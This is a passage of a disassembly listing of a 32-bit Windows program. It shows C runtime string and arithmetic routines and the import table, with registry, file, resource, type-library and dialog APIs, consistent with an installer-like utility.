loc_40BDBD: ; CODE XREF: sub_40BD96+7j
; sub_40BD96+1Aj
xor eax, eax
pop esi
retn
sub_40BD96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BDC1 proc near ; CODE XREF: sub_40BE1D+1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_40BDDB
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_40BDDE
; ---------------------------------------------------------------------------
loc_40BDDB: ; CODE XREF: sub_40BDC1+Dj
mov esi, [ebp+arg_0]
loc_40BDDE: ; CODE XREF: sub_40BDC1+18j
mov edi, ecx
loc_40BDE0: ; CODE XREF: sub_40BDC1+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_40BDFC
add bl, 57h
jmp short loc_40BDFF
; ---------------------------------------------------------------------------
loc_40BDFC: ; CODE XREF: sub_40BDC1+34j
add bl, 30h
loc_40BDFF: ; CODE XREF: sub_40BDC1+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_40BDE0
and byte ptr [ecx], 0
dec ecx
loc_40BE0A: ; CODE XREF: sub_40BDC1+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_40BE0A
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40BDC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE1D proc near ; CODE XREF: sub_409190+49p
; sub_40A980+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
xor eax, eax
cmp [ebp+arg_8], 0Ah
jnz short loc_40BE30
cmp [ebp+arg_0], eax
jge short loc_40BE30
push 1
pop eax
loc_40BE30: ; CODE XREF: sub_40BE1D+9j
; sub_40BE1D+Ej
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40BDC1
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_40BE1D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40BE50 proc near ; CODE XREF: sub_40BD96+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_0]
jmp short loc_40BEC1
; ---------------------------------------------------------------------------
align 10h
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_40BE7C
loc_40BE6D: ; CODE XREF: sub_40BE50+2Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_40BEAF
test ecx, 3
jnz short loc_40BE6D
loc_40BE7C: ; CODE XREF: sub_40BE50+1Bj
; sub_40BE50+42j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40BE7C
mov eax, [ecx-4]
test al, al
jz short loc_40BEBE
test ah, ah
jz short loc_40BEB9
test eax, 0FF0000h
jz short loc_40BEB4
test eax, 0FF000000h
jz short loc_40BEAF
jmp short loc_40BE7C
; ---------------------------------------------------------------------------
loc_40BEAF: ; CODE XREF: sub_40BE50+22j
; sub_40BE50+5Bj
lea edi, [ecx-1]
jmp short loc_40BEC1
; ---------------------------------------------------------------------------
loc_40BEB4: ; CODE XREF: sub_40BE50+54j
lea edi, [ecx-2]
jmp short loc_40BEC1
; ---------------------------------------------------------------------------
loc_40BEB9: ; CODE XREF: sub_40BE50+4Dj
lea edi, [ecx-3]
jmp short loc_40BEC1
; ---------------------------------------------------------------------------
loc_40BEBE: ; CODE XREF: sub_40BE50+49j
lea edi, [ecx-4]
loc_40BEC1: ; CODE XREF: sub_40BE50+5j
; sub_40BE50+62j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_40BEE6
loc_40BECD: ; CODE XREF: sub_40BE50+8Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_40BF38
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_40BECD
jmp short loc_40BEE6
; ---------------------------------------------------------------------------
loc_40BEE1: ; CODE XREF: sub_40BE50+AEj
; sub_40BE50+C8j
mov [edi], edx
add edi, 4
loc_40BEE6: ; CODE XREF: sub_40BE50+7Bj
; sub_40BE50+8Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_40BEE1
test dl, dl
jz short loc_40BF38
test dh, dh
jz short loc_40BF2F
test edx, 0FF0000h
jz short loc_40BF22
test edx, 0FF000000h
jz short loc_40BF1A
jmp short loc_40BEE1
; ---------------------------------------------------------------------------
loc_40BF1A: ; CODE XREF: sub_40BE50+C6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40BF22: ; CODE XREF: sub_40BE50+BEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_40BF2F: ; CODE XREF: sub_40BE50+B6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40BF38: ; CODE XREF: sub_40BE50+82j
; sub_40BE50+B2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_40BE50 endp
; =============== S U B R O U T I N E =======================================
sub_40BF40 proc near ; CODE XREF: sub_40BD96+Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_40BF60
loc_40BF4C: ; CODE XREF: sub_40BF40+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_40BF93
test ecx, 3
jnz short loc_40BF4C
add eax, 0
loc_40BF60: ; CODE XREF: sub_40BF40+Aj
; sub_40BF40+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40BF60
mov eax, [ecx-4]
test al, al
jz short loc_40BFB1
test ah, ah
jz short loc_40BFA7
test eax, 0FF0000h
jz short loc_40BF9D
test eax, 0FF000000h
jz short loc_40BF93
jmp short loc_40BF60
; ---------------------------------------------------------------------------
loc_40BF93: ; CODE XREF: sub_40BF40+11j
; sub_40BF40+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40BF9D: ; CODE XREF: sub_40BF40+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40BFA7: ; CODE XREF: sub_40BF40+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40BFB1: ; CODE XREF: sub_40BF40+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_40BF40 endp
; ---------------------------------------------------------------------------
align 10h
push ebx
mov eax, [esp+14h]
or eax, eax
jnz short loc_40BFE1
mov ecx, [esp+10h]
mov eax, [esp+0Ch]
xor edx, edx
div ecx
mov eax, [esp+8]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_40C031
; ---------------------------------------------------------------------------
loc_40BFE1: ; CODE XREF: .text:0040BFC7j
mov ecx, eax
mov ebx, [esp+10h]
mov edx, [esp+0Ch]
mov eax, [esp+8]
loc_40BFEF: ; CODE XREF: .text:0040BFF9j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40BFEF
div ebx
mov ecx, eax
mul dword ptr [esp+14h]
xchg eax, ecx
mul dword ptr [esp+10h]
add edx, ecx
jb short loc_40C01A
cmp edx, [esp+0Ch]
ja short loc_40C01A
jb short loc_40C022
cmp eax, [esp+8]
jbe short loc_40C022
loc_40C01A: ; CODE XREF: .text:0040C00Aj
; .text:0040C010j
sub eax, [esp+10h]
sbb edx, [esp+14h]
loc_40C022: ; CODE XREF: .text:0040C012j
; .text:0040C018j
sub eax, [esp+8]
sbb edx, [esp+0Ch]
neg edx
neg eax
sbb edx, 0
loc_40C031: ; CODE XREF: .text:0040BFDFj
pop ebx
retn 10h
; ---------------------------------------------------------------------------
align 200h
_text ends
; Section 2. (virtual address 0000D000)
; Virtual size : 0000130C ( 4876.)
; Section size in file : 00001400 ( 5120.)
; Offset to raw data for section: 0000B600
; Flags 40000040: Data Readable
; Alignment : default
;
; Imports from ADVAPI32.dll
;
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegDeleteValueA(HKEY hKey,LPCSTR lpValueName)
extrn RegDeleteValueA:dword ; CODE XREF: sub_402370+768p
; DATA XREF: sub_402370+768r
; LSTATUS __stdcall RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime)
extrn RegEnumKeyExA:dword ; CODE XREF: sub_402370+2A1p
; sub_402370+2D9p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_402DC0+Cp
; sub_402DE0+55p ...
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,const LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
extrn RegCreateKeyExA:dword ; CODE XREF: sub_402DE0+36p
; sub_4039C0+7D3p ...
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_402E50+22p
; sub_402EA0+35p ...
; LSTATUS __stdcall RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
extrn RegSetValueExA:dword ; CODE XREF: sub_402FF0:loc_403361p
; sub_4039C0+806p ...
; LSTATUS __stdcall RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime)
extrn RegQueryInfoKeyA:dword ; CODE XREF: sub_403400+27p
; sub_403450+34p
; DATA XREF: ...
; LSTATUS __stdcall RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
extrn RegEnumValueA:dword ; CODE XREF: sub_403450+70p
; DATA XREF: sub_403450+70r
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_4036E0+13Dp
; sub_4036E0+15Cp ...
; LSTATUS __stdcall RegDeleteKeyA(HKEY hKey,LPCSTR lpSubKey)
extrn RegDeleteKeyA:dword ; CODE XREF: sub_402370+2ECp
; sub_402370+9BAp ...
;
; Imports from KERNEL32.dll
;
; int __stdcall lstrcmpiA(LPCSTR lpString1,LPCSTR lpString2)
extrn lstrcmpiA:dword ; CODE XREF: sub_4010C0+15Fp
; sub_4010C0+16Bp ...
; DWORD __stdcall GetCurrentThreadId()
extrn GetCurrentThreadId:dword ; CODE XREF: sub_4010C0:loc_4011D8p
; sub_404DC0+6p ...
; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_4010C0+E4p
; sub_40AE50+18p ...
; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo)
extrn GetSystemInfo:dword ; CODE XREF: sub_4010C0+A4p
; DATA XREF: sub_4010C0+A4r
; HANDLE __stdcall HeapCreate(DWORD flOptions,SIZE_T dwInitialSize,SIZE_T dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: sub_4010C0+99p
; sub_4010C0+F4p
; DATA XREF: ...
; LPSTR __stdcall GetCommandLineA()
extrn GetCommandLineA:dword ; CODE XREF: sub_4010C0+Cp
; sub_4010C0:loc_401442p ...
; int __stdcall MultiByteToWideChar(UINT CodePage,DWORD dwFlags,LPCSTR lpMultiByteStr,int cbMultiByte,LPWSTR lpWideCharStr,int cchWideChar)
extrn MultiByteToWideChar:dword ; CODE XREF: sub_401560+1Ep
; sub_402FF0+229p ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
extrn FreeLibrary:dword ; CODE XREF: sub_401710+177p
; sub_4018A0+174p ...
; DWORD __stdcall SizeofResource(HMODULE hModule,HRSRC hResInfo)
extrn SizeofResource:dword ; CODE XREF: sub_401710+12Fp
; sub_4018A0+12Cp
; DATA XREF: ...
; HGLOBAL __stdcall LoadResource(HMODULE hModule,HRSRC hResInfo)
extrn LoadResource:dword ; CODE XREF: sub_401710+103p
; sub_4018A0+100p
; DATA XREF: ...
; HRSRC __stdcall FindResourceA(HMODULE hModule,LPCSTR lpName,LPCSTR lpType)
extrn FindResourceA:dword ; CODE XREF: sub_401710+E5p
; sub_4018A0+E2p
; DATA XREF: ...
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_401710+B3p
; sub_401710+B9p ...
; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName,HANDLE hFile,DWORD dwFlags)
extrn LoadLibraryExA:dword ; CODE XREF: sub_401710+9Ep
; sub_4018A0+98p
; DATA XREF: ...
; int __stdcall WideCharToMultiByte(UINT CodePage,DWORD dwFlags,LPCWSTR lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cbMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar)
extrn WideCharToMultiByte:dword ; CODE XREF: sub_401710+3Ep
; sub_401710+8Ep ...
; LPSTR __stdcall lstrcpynA(LPSTR lpString1,LPCSTR lpString2,int iMaxLength)
extrn lstrcpynA:dword ; CODE XREF: sub_401A30+ADp
; sub_402370+8B8p ...
; BOOL __stdcall IsDBCSLeadByte(BYTE TestChar)
extrn IsDBCSLeadByte:dword ; CODE XREF: sub_401D60+36p
; sub_401DC0+7Ap
; DATA XREF: ...
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
extrn DeleteFileA:dword ; CODE XREF: sub_4036E0+20Dp
; sub_40B540+4p
; DATA XREF: ...
; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists)
extrn CopyFileA:dword ; CODE XREF: sub_4039C0+57Bp
; DATA XREF: sub_4039C0+57Br
; int __stdcall lstrcmpA(LPCSTR lpString1,LPCSTR lpString2)
extrn lstrcmpA:dword ; CODE XREF: sub_4039C0+555p
; sub_405500+2Dp ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
extrn SetFileAttributesA:dword ; CODE XREF: sub_4039C0+483p
; DATA XREF: sub_4039C0+483r
; DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName)
extrn GetFileAttributesA:dword ; CODE XREF: sub_4039C0+442p
; sub_4039C0+46Bp
; DATA XREF: ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn InitializeCriticalSection:dword ; CODE XREF: sub_4045A0+3Bp
; sub_4045A0+41p ...
; BOOL __stdcall HeapDestroy(HANDLE hHeap)
extrn HeapDestroy:dword ; CODE XREF: sub_404720+A9p
; sub_404720+B7p
; DATA XREF: ...
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn DeleteCriticalSection:dword ; CODE XREF: sub_404720+55p
; sub_404720+5Bp ...
; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
extrn GetModuleFileNameA:dword ; CODE XREF: sub_4010C0+1ABp
; sub_4010C0+286p ...
; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
extrn LoadLibraryA:dword ; CODE XREF: sub_404A70+14Dp
; sub_409520+15p ...
; LPSTR __stdcall lstrcpyA(LPSTR lpString1,LPCSTR lpString2)
extrn lstrcpyA:dword ; CODE XREF: sub_404C30+10Dp
; sub_408E00+46p ...
; LPSTR __stdcall lstrcatA(LPSTR lpString1,LPCSTR lpString2)
extrn lstrcatA:dword ; CODE XREF: sub_404C30+75p
; sub_409BD0+2Dp ...
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn LeaveCriticalSection:dword ; CODE XREF: sub_404DC0+2Dp
; DialogFunc+4Dp
; DATA XREF: ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn EnterCriticalSection:dword ; CODE XREF: sub_404DC0+14p
; DialogFunc+Ap
; DATA XREF: ...
; BOOL __stdcall FlushInstructionCache(HANDLE hProcess,LPCVOID lpBaseAddress,SIZE_T dwSize)
extrn FlushInstructionCache:dword ; CODE XREF: DialogFunc+83p
; DATA XREF: DialogFunc+83r
; HANDLE __stdcall GetCurrentProcess()
extrn GetCurrentProcess:dword ; CODE XREF: DialogFunc+7Cp
; sub_40AFB0+10p
; DATA XREF: ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
extrn GetModuleHandleA:dword ; CODE XREF: start+98p
; DATA XREF: start+98r
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo)
extrn GetStartupInfoA:dword ; CODE XREF: start+73p
; DATA XREF: start+73r
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: start+19p start+A5p ...
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,SIZE_T dwBytes)
extrn HeapReAlloc:dword ; CODE XREF: sub_40AEB0+2Fp
; sub_40AEB0+48p
; DATA XREF: ...
; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_40AF10+17p
; sub_40AF10+2Bp
; DATA XREF: ...
; BOOL __stdcall GetStringTypeW(DWORD dwInfoType,LPCWSTR lpSrcStr,int cchSrc,LPWORD lpCharType)
extrn GetStringTypeW:dword ; CODE XREF: sub_40BA13+3Fp
; sub_40BA13+12Dp
; DATA XREF: ...
; BOOL __stdcall GetStringTypeA(LCID Locale,DWORD dwInfoType,LPCSTR lpSrcStr,int cchSrc,LPWORD lpCharType)
extrn GetStringTypeA:dword ; CODE XREF: sub_40BA13+59p
; sub_40BA13+8Dp
; DATA XREF: ...
; int __stdcall LCMapStringW(LCID Locale,DWORD dwMapFlags,LPCWSTR lpSrcStr,int cchSrc,LPWSTR lpDestStr,int cchDest)
extrn LCMapStringW:dword ; CODE XREF: sub_40B7C4+42p
; sub_40B7C4+14Dp ...
; int __stdcall LCMapStringA(LCID Locale,DWORD dwMapFlags,LPCSTR lpSrcStr,int cchSrc,LPSTR lpDestStr,int cchDest)
extrn LCMapStringA:dword ; CODE XREF: sub_40B7C4+5Ep
; sub_40B7C4+A7p
; DATA XREF: ...
; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
extrn GetSystemTimeAsFileTime:dword ; CODE XREF: sub_40B4C8+Ap
; sub_40B50B+Ap
; DATA XREF: ...
; BOOL __stdcall CreateDirectoryA(LPCSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes)
extrn CreateDirectoryA:dword ; CODE XREF: sub_40B16E+6p
; DATA XREF: sub_40B16E+6r
; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
extrn TerminateProcess:dword ; CODE XREF: sub_40AFB0+17p
; DATA XREF: sub_40AFB0+17r
; DWORD __stdcall GetShortPathNameA(LPCSTR lpszLongPath,LPSTR lpszShortPath,DWORD cchBuffer)
extrn GetShortPathNameA:dword ; CODE XREF: sub_4010C0+1C4p
; sub_4010C0+29Fp
; DATA XREF: ...
; int __stdcall lstrlenA(LPCSTR lpString)
extrn lstrlenA:dword ; CODE XREF: sub_4010C0+1DFp
; sub_4010C0+2BAp ...
; int __stdcall lstrlenW(LPCWSTR lpString)
extrn lstrlenW:dword ; CODE XREF: sub_4010C0+209p
; sub_4010C0+2E4p ...
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: sub_4010C0+475p
; sub_409CE0+2Ap ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_401060+Cp
; DATA XREF: sub_401060+Cr
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
extrn CreateThread:dword ; CODE XREF: sub_401060+32p
; DATA XREF: sub_401060+32r
extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: sub_401000+16p
; sub_401000+2Ap
; DATA XREF: ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_401000+44p
; DATA XREF: sub_401000+44r
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
extrn GetProcAddress:dword ; CODE XREF: sub_404A70+15Fp
; sub_409520+32p ...
;
; Imports from OLEAUT32.dll
;
; HRESULT __stdcall LoadTypeLib(LPCOLESTR szFile,ITypeLib **pptlib)
extrn LoadTypeLib:dword ; CODE XREF: sub_404C30+C9p
; sub_404C30+15Bp
; DATA XREF: ...
; UINT __stdcall SysStringLen(BSTR)
extrn SysStringLen:dword ; CODE XREF: sub_403920+12p
; sub_4039C0+37Bp ...
; BSTR __stdcall SysAllocStringLen(const OLECHAR *strIn,UINT ui)
extrn SysAllocStringLen:dword ; CODE XREF: sub_403920+27p
; sub_404320+118p ...
; void __stdcall SysFreeString(BSTR bstrString)
extrn SysFreeString:dword ; CODE XREF: sub_4036E0+3Bp
; sub_403920+81p ...
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
extrn SysAllocString:dword ; CODE XREF: sub_4036E0+52p
; sub_4036E0+93p ...
; HRESULT __stdcall VarUI4FromStr(LPCOLESTR strIn,LCID lcid,ULONG dwFlags,ULONG *pulOut)
extrn VarUI4FromStr:dword ; CODE XREF: sub_402FF0+238p
; DATA XREF: sub_402FF0+238r
; HRESULT __stdcall RegisterTypeLib(ITypeLib *ptlib,LPCOLESTR szFullPath,LPCOLESTR szHelpDir)
extrn RegisterTypeLib:dword ; CODE XREF: sub_404810+1E6p
; DATA XREF: sub_404810+1E6r
;
; Imports from SHELL32.dll
;
; HINSTANCE __stdcall ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd)
extrn ShellExecuteA:dword ; CODE XREF: sub_404FF0+12p
; DATA XREF: sub_404FF0+12r
; void __stdcall SHChangeNotify(LONG wEventId,UINT uFlags,LPCVOID dwItem1,LPCVOID dwItem2)
extrn SHChangeNotify:dword ; CODE XREF: sub_4039C0+890p
; DATA XREF: sub_4039C0+890r
;
; Imports from USER32.dll
;
; UINT __stdcall GetDlgItemTextA(HWND hDlg,int nIDDlgItem,LPSTR lpString,int cchMax)
extrn GetDlgItemTextA:dword ; CODE XREF: sub_406E00+16p
; DATA XREF: sub_406E00+16r
; BOOL __stdcall SetDlgItemTextA(HWND hDlg,int nIDDlgItem,LPCSTR lpString)
extrn SetDlgItemTextA:dword ; CODE XREF: sub_405680+B1p
; sub_4057A0+17p
; DATA XREF: ...
; int wsprintfA(LPSTR,LPCSTR,...)
extrn wsprintfA:dword ; CODE XREF: sub_4055A0+3Dp
; sub_4055A0+60p ...
; LRESULT __stdcall SendDlgItemMessageA(HWND hDlg,int nIDDlgItem,UINT Msg,WPARAM wParam,LPARAM lParam)
extrn SendDlgItemMessageA:dword ; CODE XREF: sub_405500+4Fp
; sub_405500+63p ...
; int __stdcall wvsprintfA(LPSTR,LPCSTR,va_list arglist)
extrn wvsprintfA:dword ; CODE XREF: sub_4051A0+CEp
; sub_4055A0+80p ...
; BOOL __stdcall KillTimer(HWND hWnd,UINT_PTR uIDEvent)
extrn KillTimer:dword ; CODE XREF: sub_406720+38p
; sub_406720+4E0p
; DATA XREF: ...
; void __stdcall PostQuitMessage(int nExitCode)
extrn PostQuitMessage:dword ; CODE XREF: sub_405180+Cp
; sub_406D00+3Bp
; DATA XREF: ...
; HWND __stdcall GetDlgItem(HWND hDlg,int nIDDlgItem)
extrn GetDlgItem:dword ; CODE XREF: sub_404FC0+9p
; sub_405C90+750p ...
; BOOL __stdcall PostMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
extrn PostMessageA:dword ; CODE XREF: sub_404FC0+26p
; DATA XREF: sub_404FC0+26r
; BOOL __stdcall EnableWindow(HWND hWnd,BOOL bEnable)
extrn EnableWindow:dword ; CODE XREF: sub_405C90+755p
; sub_405C90+769p ...
; HWND __stdcall CreateDialogParamA(HINSTANCE hInstance,LPCSTR lpTemplateName,HWND hWndParent,DLGPROC lpDialogFunc,LPARAM dwInitParam)
extrn CreateDialogParamA:dword ; CODE XREF: sub_404DC0+4Ap
; DATA XREF: sub_404DC0+4Ar
; int __stdcall LoadStringA(HINSTANCE hInstance,UINT uID,LPSTR lpBuffer,int cchBufferMax)
extrn LoadStringA:dword ; CODE XREF: sub_4036E0+2Fp
; sub_4039C0+7Ap ...
; UINT_PTR __stdcall SetTimer(HWND hWnd,UINT_PTR nIDEvent,UINT uElapse,TIMERPROC lpTimerFunc)
extrn SetTimer:dword ; CODE XREF: sub_4064E0+70p
; sub_406720+354p ...
; BOOL __stdcall SetWindowTextA(HWND hWnd,LPCSTR lpString)
extrn SetWindowTextA:dword ; CODE XREF: sub_405C90+3CFp
; DATA XREF: sub_405C90+3CFr
; int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)
extrn MessageBoxA:dword ; CODE XREF: sub_4051A0+16Ep
; DATA XREF: sub_4051A0+16Er
; BOOL __stdcall PostThreadMessageA(DWORD idThread,UINT Msg,WPARAM wParam,LPARAM lParam)
extrn PostThreadMessageA:dword ; CODE XREF: sub_401000+55p
; DATA XREF: sub_401000+55r
; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg)
extrn DispatchMessageA:dword ; CODE XREF: sub_4010C0+441p
; DATA XREF: sub_4010C0+423r
; BOOL __stdcall DestroyWindow(HWND hWnd)
extrn DestroyWindow:dword ; CODE XREF: sub_405180+4p
; sub_406D00+33p
; DATA XREF: ...
; BOOL __stdcall IsDialogMessageA(HWND hDlg,LPMSG lpMsg)
extrn IsDialogMessageA:dword ; CODE XREF: sub_4010C0+437p
; DATA XREF: sub_4010C0+41Dr
; BOOL __stdcall GetMessageA(LPMSG lpMsg,HWND hWnd,UINT wMsgFilterMin,UINT wMsgFilterMax)
extrn GetMessageA:dword ; CODE XREF: sub_4010C0+417p
; sub_4010C0+44Dp
; DATA XREF: ...
; BOOL __stdcall ShowWindow(HWND hWnd,int nCmdShow)
extrn ShowWindow:dword ; CODE XREF: sub_4010C0:loc_4014C4p
; EnumFunc+3Fp ...
; HWND __stdcall GetDesktopWindow()
extrn GetDesktopWindow:dword ; CODE XREF: sub_4010C0+3C8p
; DATA XREF: sub_4010C0+3C8r
; LPSTR __stdcall CharNextA(LPCSTR lpsz)
extrn CharNextA:dword ; CODE XREF: sub_401A30+6Cp
; sub_401A30+D9p ...
; HANDLE __stdcall LoadImageA(HINSTANCE hInst,LPCSTR name,UINT type,int cx,int cy,UINT fuLoad)
extrn LoadImageA:dword ; CODE XREF: sub_405C90+79Dp
; DATA XREF: sub_405C90+79Dr
; LRESULT __stdcall SendMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
extrn SendMessageA:dword ; CODE XREF: sub_405C90+7AFp
; DATA XREF: sub_405C90+7AFr
; BOOL __stdcall SetForegroundWindow(HWND hWnd)
extrn SetForegroundWindow:dword ; CODE XREF: EnumFunc+46p
; DATA XREF: EnumFunc+46r
; HWND __stdcall SetFocus(HWND hWnd)
extrn SetFocus:dword ; CODE XREF: EnumFunc+4Dp
; sub_405C90+78Cp
; DATA XREF: ...
; WORD __stdcall GetClassWord(HWND hWnd,int nIndex)
extrn GetClassWord:dword ; CODE XREF: sub_405BD0+11p
; EnumFunc+12p
; DATA XREF: ...
; LONG __stdcall GetWindowLongA(HWND hWnd,int nIndex)
extrn GetWindowLongA:dword ; CODE XREF: sub_405BD0+22p
; EnumFunc+21p
; DATA XREF: ...
; LONG __stdcall SetWindowLongA(HWND hWnd,int nIndex,LONG dwNewLong)
extrn SetWindowLongA:dword ; CODE XREF: DialogFunc+8Dp
